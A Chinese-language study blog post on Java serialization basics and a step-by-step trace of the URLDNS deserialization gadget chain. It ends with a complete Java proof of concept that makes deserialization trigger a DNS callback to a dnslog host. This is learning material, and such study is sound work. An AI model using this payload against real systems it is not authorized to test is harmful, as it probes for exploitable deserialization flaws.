废话

前几天,跳过URLDNS链子,直接去学CC1链,属实是有点不知好歹了,首先配环境花了半年,然后下个8u65下到了8u111,然后整半天,在k4大佬的帮助下,下到了8u65,到现在还没搞清楚咋回事。然后要去下openjdk导入sun包,然后导错jdk的src了(这里是自己粗心了),然后研究半天。。一种植物。。废话不多讲,直接进入正题
插一句,PHP和java的序列化反序列化几乎不是一回事儿,p牛说过 : readObject 倾向于解决“反序列化时如 何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的 问题。
java是谁被反序列化就调用谁的readObject.

一些基础知识

ObjectInputStream、ObjectOutputStream

java.io.ObjectOutputStream类有一个方法叫做writeObject,就是序列化对象
java.io.ObjectInputStream类有一个方法叫做readObject,就是反序列化类对象。
所以咱可以靠这俩类来进行序列化和反序列化。但是事情远远没有那么简单。

java.io.Serializable

这是一个空的接口(interface),所以不需要实现他的任何方法,这个类的作用就是用于标志这个类可以反序列化。原则上实现了这个接口,就需要定义一个serialVersionUID的常量,反序列化双方的serialVersionUID不一致,则会导致invalidclassexception异常。如果可序列化的类没有去声明这个常量,那么就在序列化的时候自动生成serialVersionUID.
热知识:只要父类实现了此接口。那么子类也可以被序列化,(爷爷类继承都可以),他的子类Externalizable一样。

java.io.Externalizable

这是Serializable的子类,在Serializable的基础上,多了俩方法。
image.png
这两个方法会在序列化和反序列化还原的过程中被自动调用,以便执行一些特殊的操作。
当然readObject和WriteObject是可以重写的。(这是一个伏笔)且必须为private,不然不会调用重写的readObject和WriteObject
这链子就直接手写吧,就不看ysoserial的链子了。

URLDNS复现

我们要做到的事情就是发起一次DNS请求。

HashMap链

我们先跟进HashMap的put方法.
image.png
我们发现他用hash方法对key进行了处理.
跟进hash方法(发现调用了key的hashCode)
image.png

URL链

这个key咱们就是要去传URL.
那么我们跟进URL的hashcode
image.png
发现他调用了handler的hashcode,我们看一下handler
image.png
跟进URLStreamHandler的hashcode
image.png发现了一个getHostAddress.跟进!
image.png
打开我们远古JavaAPI 文档.
image.png
所以会发送一次DNS包.

来看一些细节

我们看到URL的hashCode
image.png
hashCode默认是为-1的.
image.png
但是我们在序列化的时候,HashMap.put,就会调用一次hash.
image.png
然后我们到URL.hashCode的时候就会变掉原本的hashCode,(且这里会产生一次DNS请求,因为他走的是正常流程(hashcode默认为-1))然后当我们要反序列化的时候就进不去下面的handler.hashCode
所以我们需要使用反射来修改hashcode的值.
我们可以使其序列化的Hashcode为-1,不走下去,然后就不会发起DNS请求,然后我们在反序列化前,将hashcode改为-1,然后让其走下去.
故最后的payload,

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Arrays;
import java.util.HashMap;

public class MainTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws IOException,ClassNotFoundException,NoSuchFieldException,IllegalAccessException {
        HashMap<Object,Object> hashmap=new HashMap<>();
        URL url = new URL("http://1pyzbh.dnslog.cn");
        Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
        filed.setAccessible(true);
        filed.set(url, 123);
        hashmap.put(url, 1);
        filed.set(url,-1);
        serialize(hashmap);
        unserialize("ser.bin");
    }
}